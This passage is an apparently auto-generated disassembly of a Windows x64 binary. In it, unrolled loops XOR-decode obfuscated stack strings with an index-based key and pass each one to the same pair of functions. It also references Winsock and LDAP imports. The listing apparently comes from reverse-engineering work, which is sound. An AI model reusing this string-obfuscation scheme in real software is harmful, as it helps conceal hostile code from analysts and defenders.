imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x23ca], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x23cb], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x23cc], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x23cd], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x23ce], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x23cf], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x23d0], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x23d1], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x23d2], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r10 + 0x23d3], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r10 + 0x23d4], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r10 + 0x23d5], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r10 + 0x23d6], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r10 + 0x23d7], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r10 + 0x23d8], al
add r10d, 0x1b
cmp r10d, 0x51
jl 0x1400f8151
lea rdx, [rsp + 0x23be]
lea rcx, [rsp + 0x11c8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea530]
vmovups ymmword [rsp + 0x22de], ymm0
vmovups ymm1, ymmword [0x1401ea550]
vmovups ymmword [rsp + 0x22fe], ymm1
movzx eax, word [0x1401ea570]
mov word [rsp + 0x231e], ax
xor r10d, r10d
nop dword [rax]
nop word [rax + rax]
movsxd r9, r10d
mov eax, 0x51eb851f
imul r10d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r9 + 0x22de], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r9 + 0x22df], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r9 + 0x22e0], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r9 + 0x22e1], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r9 + 0x22e2], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r9 + 0x22e3], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r9 + 0x22e4], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r9 + 0x22e5], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r9 + 0x22e6], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r9 + 0x22e7], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r9 + 0x22e8], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r9 + 0x22e9], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r9 + 0x22ea], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r9 + 0x22eb], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r9 + 0x22ec], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r9 + 0x22ed], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r9 + 0x22ee], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r9 + 0x22ef], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r9 + 0x22f0], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r9 + 0x22f1], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r9 + 0x22f2], al
lea ecx, [r8 + 0x13]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4b
xor byte [rsp + r9 + 0x22f3], al
lea ecx, [r8 + 0x14]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4c
xor byte [rsp + r9 + 0x22f4], al
lea ecx, [r8 + 0x15]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4d
xor byte [rsp + r9 + 0x22f5], al
lea ecx, [r8 + 0x16]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4e
xor byte [rsp + r9 + 0x22f6], al
lea ecx, [r8 + 0x17]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4f
xor byte [rsp + r9 + 0x22f7], al
lea ecx, [r8 + 0x18]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x50
xor byte [rsp + r9 + 0x22f8], al
lea ecx, [r8 + 0x19]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x51
xor byte [rsp + r9 + 0x22f9], al
lea ecx, [r8 + 0x1a]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x52
xor byte [rsp + r9 + 0x22fa], al
lea ecx, [r8 + 0x1b]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x53
xor byte [rsp + r9 + 0x22fb], al
lea ecx, [r8 + 0x1c]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x54
xor byte [rsp + r9 + 0x22fc], al
lea ecx, [r8 + 0x1d]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x55
xor byte [rsp + r9 + 0x22fd], al
lea ecx, [r8 + 0x1e]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x56
xor byte [rsp + r9 + 0x22fe], al
add r10d, 0x21
cmp r10d, 0x42
jl 0x1400f8640
lea rdx, [rsp + 0x22de]
lea rcx, [rsp + 0x11e8]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea578]
vmovups ymmword [rsp + 0x225e], ymm0
vmovups xmm1, xmmword [0x1401ea598]
vmovups xmmword [rsp + 0x227e], xmm1
vmovsd xmm0, qword [0x1401ea5a8]
vmovsd qword [rsp + 0x228e], xmm0
mov eax, dword [0x1401ea5b0]
mov dword [rsp + 0x2296], eax
movzx eax, word [0x1401ea5b4]
mov word [rsp + 0x229a], ax
movzx eax, byte [0x1401ea5b6]
mov byte [rsp + 0x229c], al
xor r10d, r10d
nop word [rax + rax]
mov eax, 0x51eb851f
mul r10d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x36
xor byte [rsp + r10 + 0x225e], al
lea r8d, [r10 + 2]
lea ecx, [r8 - 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x37
xor byte [rsp + r10 + 0x225f], al
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x38
xor byte [rsp + r10 + 0x2260], al
lea ecx, [r8 + 1]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x39
xor byte [rsp + r10 + 0x2261], al
lea ecx, [r8 + 2]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3a
xor byte [rsp + r10 + 0x2262], al
lea ecx, [r8 + 3]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3b
xor byte [rsp + r10 + 0x2263], al
lea ecx, [r8 + 4]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3c
xor byte [rsp + r10 + 0x2264], al
lea ecx, [r8 + 5]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3d
xor byte [rsp + r10 + 0x2265], al
lea ecx, [r8 + 6]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3e
xor byte [rsp + r10 + 0x2266], al
lea ecx, [r8 + 7]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x3f
xor byte [rsp + r10 + 0x2267], al
lea ecx, [r8 + 8]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x40
xor byte [rsp + r10 + 0x2268], al
lea ecx, [r8 + 9]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x41
xor byte [rsp + r10 + 0x2269], al
lea ecx, [r8 + 0xa]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x42
xor byte [rsp + r10 + 0x226a], al
lea ecx, [r8 + 0xb]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x43
xor byte [rsp + r10 + 0x226b], al
lea ecx, [r8 + 0xc]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x44
xor byte [rsp + r10 + 0x226c], al
lea ecx, [r8 + 0xd]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x45
xor byte [rsp + r10 + 0x226d], al
lea ecx, [r8 + 0xe]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x46
xor byte [rsp + r10 + 0x226e], al
lea ecx, [r8 + 0xf]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x47
xor byte [rsp + r10 + 0x226f], al
lea ecx, [r8 + 0x10]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x48
xor byte [rsp + r10 + 0x2270], al
lea ecx, [r8 + 0x11]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x49
xor byte [rsp + r10 + 0x2271], al
lea ecx, [r8 + 0x12]
mov eax, 0x51eb851f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r10b
sub al, cl
add al, 0x4a
xor byte [rsp + r10 + 0x2272], al
add r10d, 0x15
cmp r10d, 0x3f
jl 0x1400f8c60
lea rdx, [rsp + 0x225e]
lea rcx, [rsp + 0x1208]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups ymm0, ymmword [0x1401ea5b8]
vmovups ymmword [rsp + 0x21a9], ymm0
vmovups xmm1, xmmword [0x1401ea5d8]
vmovups xmmword [rsp + 0x21c9], xmm1
vmovsd xmm0, qword [0x1401ea5e8]
vmovsd qword [rsp + 0x21d9], xmm0
movzx eax, word [0x1401ea5f0]
mov word [rsp + 0x21e1], ax
movzx eax, byte [0x1401ea5f2]
mov byte [rsp + 0x21e3], al
xor r8d, r8d
lea r9, [rsp + 0x21a9]
nop word [rax + rax]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x1400f9070
lea rdx, [rsp + 0x21a9]
lea rcx, [rsp + 0x1228]
vzeroupper
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea5f8]
vmovups xmmword [rsp + 0x2a], xmm0
mov eax, dword [0x1401ea608]
mov dword [rsp + 0x3a], eax
movzx ecx, byte [0x1401ea60c]
mov byte [rsp + 0x2a], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x2b], 0x37
xor byte [rsp + 0x2c], 0x38
xor byte [rsp + 0x2d], 0x39
xor byte [rsp + 0x2e], 0x3a
xor byte [rsp + 0x2f], 0x3b
xor byte [rsp + 0x30], 0x3c
xor byte [rsp + 0x31], 0x3d
xor byte [rsp + 0x32], 0x3e
xor byte [rsp + 0x33], 0x3f
xor byte [rsp + 0x34], 0x40
xor byte [rsp + 0x35], 0x41
xor byte [rsp + 0x36], 0x42
xor byte [rsp + 0x37], 0x43
xor byte [rsp + 0x38], 0x44
xor byte [rsp + 0x39], 0x45
xor al, 0x46
mov byte [rsp + 0x3a], al
xor byte [rsp + 0x3b], 0x47
xor byte [rsp + 0x3c], 0x48
xor byte [rsp + 0x3d], 0x49
xor cl, 0x4a
mov byte [rsp + 0x3e], cl
lea rdx, [rsp + 0x2a]
lea rcx, [rsp + 0x1248]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea610]
vmovups xmmword [rsp + 0x3f], xmm0
mov eax, dword [0x1401ea620]
mov dword [rsp + 0x4f], eax
movzx eax, word [0x1401ea624]
mov word [rsp + 0x53], ax
lea rdx, [rsp + 0x3f]
lea rcx, [rsp + 0x1268]
cmp byte [0x1401ea625], 0
je 0x1400f9206
mov byte [rsp + 0x3f], reloc.WS2_32.dll_WSAStartup
xor byte [rsp + 0x40], 0x37
xor byte [rsp + 0x41], 0x38
xor byte [rsp + 0x42], 0x39
xor byte [rsp + 0x43], 0x3a
xor byte [rsp + 0x44], 0x3b
xor byte [rsp + 0x45], 0x3c
xor byte [rsp + 0x46], 0x3d
xor byte [rsp + 0x47], 0x3e
xor byte [rsp + 0x48], 0x3f
xor byte [rsp + 0x49], 0x40
xor byte [rsp + 0x4a], 0x41
xor byte [rsp + 0x4b], 0x42
xor byte [rsp + 0x4c], 0x43
xor byte [rsp + 0x4d], 0x44
xor byte [rsp + 0x4e], 0x45
xor byte [rsp + 0x4f], 0x46
xor byte [rsp + 0x50], 0x47
xor byte [rsp + 0x51], 0x48
xor byte [rsp + 0x52], 0x49
xor byte [rsp + 0x53], 0x4a
xor byte [rsp + 0x54], 0x4b
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea628]
vmovups xmmword [rsp + 0x6d], xmm0
vmovsd xmm0, qword [0x1401ea638]
movzx eax, byte [0x1401ea640]
vmovsd qword [rsp + 0x7d], xmm0
mov byte [rsp + 0x6d], WSAGetLastError
xor byte [rsp + 0x6e], 0x37
xor byte [rsp + 0x6f], 0x38
xor byte [rsp + 0x70], 0x39
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor byte [rsp + 0x74], 0x3d
xor byte [rsp + 0x75], 0x3e
xor byte [rsp + 0x76], 0x3f
xor byte [rsp + 0x77], 0x40
xor byte [rsp + 0x78], 0x41
xor byte [rsp + 0x79], 0x42
xor byte [rsp + 0x7a], 0x43
xor byte [rsp + 0x7b], 0x44
xor byte [rsp + 0x7c], 0x45
xor byte [rsp + 0x7d], 0x46
xor byte [rsp + 0x7e], 0x47
xor byte [rsp + 0x7f], 0x48
xor byte [rsp + 0x80], 0x49
xor byte [rsp + 0x81], 0x4a
xor byte [rsp + 0x82], 0x4b
xor byte [rsp + 0x83], 0x4c
xor byte [rsp + 0x84], 0x4d
xor al, 0x4e
mov byte [rsp + 0x85], al
lea rdx, [rsp + 0x6d]
lea rcx, [rsp + 0x1288]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea648]
vmovups xmmword [rsp + 0xb8], xmm0
vmovsd xmm0, qword [0x1401ea658]
vmovsd qword [rsp + 0xc8], xmm0
movzx eax, word [0x1401ea660]
mov word [rsp + 0xd0], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400f93ee
mov byte [rsp + 0xb8], WSAStartup
xor byte [rsp + 0xb9], 0x37
xor byte [rsp + 0xba], 0x38
xor byte [rsp + 0xbb], 0x39
xor byte [rsp + 0xbc], 0x3a
xor byte [rsp + 0xbd], 0x3b
xor byte [rsp + 0xbe], 0x3c
xor byte [rsp + 0xbf], 0x3d
xor byte [rsp + 0xc0], 0x3e
xor byte [rsp + 0xc1], 0x3f
xor byte [rsp + 0xc2], 0x40
xor byte [rsp + 0xc3], 0x41
xor byte [rsp + 0xc4], 0x42
xor byte [rsp + 0xc5], 0x43
xor byte [rsp + 0xc6], 0x44
xor byte [rsp + 0xc7], 0x45
xor byte [rsp + 0xc8], 0x46
xor byte [rsp + 0xc9], 0x47
xor byte [rsp + 0xca], 0x48
xor byte [rsp + 0xcb], 0x49
xor byte [rsp + 0xcc], 0x4a
xor byte [rsp + 0xcd], 0x4b
xor byte [rsp + 0xce], 0x4c
xor byte [rsp + 0xcf], 0x4d
xor byte [rsp + 0xd0], 0x4e
xor byte [rsp + 0xd1], 0x4f
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x12a8]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [str._G_VT_UZ]
vmovups xmmword [rsp + 0x55], xmm0
vmovsd xmm0, qword [0x1401ea678]
vmovsd qword [rsp + 0x65], xmm0
lea rdx, [rsp + 0x55]
lea rcx, [rsp + 0x12c8]
cmp byte [0x1401ea67f], 0
je 0x1400f94b5
mov byte [rsp + 0x55], 0x69
xor byte [rsp + 0x56], 0x37
xor byte [rsp + 0x57], 0x38
xor byte [rsp + 0x58], 0x39
xor byte [rsp + 0x59], 0x3a
xor byte [rsp + 0x5a], 0x3b
xor byte [rsp + 0x5b], 0x3c
xor byte [rsp + 0x5c], 0x3d
xor byte [rsp + 0x5d], 0x3e
xor byte [rsp + 0x5e], 0x3f
xor byte [rsp + 0x5f], 0x40
xor byte [rsp + 0x60], 0x41
xor byte [rsp + 0x61], 0x42
xor byte [rsp + 0x62], 0x43
xor byte [rsp + 0x63], 0x44
xor byte [rsp + 0x64], 0x45
xor byte [rsp + 0x65], 0x46
xor byte [rsp + 0x66], 0x47
xor byte [rsp + 0x67], 0x48
xor byte [rsp + 0x68], 0x49
xor byte [rsp + 0x69], 0x4a
xor byte [rsp + 0x6a], 0x4b
xor byte [rsp + 0x6b], 0x4c
xor byte [rsp + 0x6c], 0x4d
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea680]
vmovups xmmword [rsp + 0x86], xmm0
vmovsd xmm0, qword [0x1401ea690]
movzx eax, byte [0x1401ea698]
vmovsd qword [rsp + 0x96], xmm0
mov byte [rsp + 0x86], WSAStartup
xor byte [rsp + 0x87], 0x37
xor byte [rsp + 0x88], 0x38
xor byte [rsp + 0x89], 0x39
xor byte [rsp + 0x8a], 0x3a
xor byte [rsp + 0x8b], 0x3b
xor byte [rsp + 0x8c], 0x3c
xor byte [rsp + 0x8d], 0x3d
xor byte [rsp + 0x8e], 0x3e
xor byte [rsp + 0x8f], 0x3f
xor byte [rsp + 0x90], 0x40
xor byte [rsp + 0x91], 0x41
xor byte [rsp + 0x92], 0x42
xor byte [rsp + 0x93], 0x43
xor byte [rsp + 0x94], 0x44
xor byte [rsp + 0x95], 0x45
xor byte [rsp + 0x96], 0x46
xor byte [rsp + 0x97], 0x47
xor byte [rsp + 0x98], 0x48
xor byte [rsp + 0x99], 0x49
xor byte [rsp + 0x9a], 0x4a
xor byte [rsp + 0x9b], 0x4b
xor byte [rsp + 0x9c], 0x4c
xor byte [rsp + 0x9d], 0x4d
xor al, 0x4e
mov byte [rsp + 0x9e], al
lea rdx, [rsp + 0x86]
lea rcx, [rsp + 0x12e8]
call fcn.14009b6b0
mov rcx, rax
call fcn.14010fbb0
vmovups xmm0, xmmword [0x1401ea6a0]
vmovups xmmword [rsp + 0xd2], xmm0
vmovsd xmm0, qword [0x1401ea6b0]
vmovsd qword [rsp + 0xe2], xmm0
movzx eax, word [0x1401ea6b8]
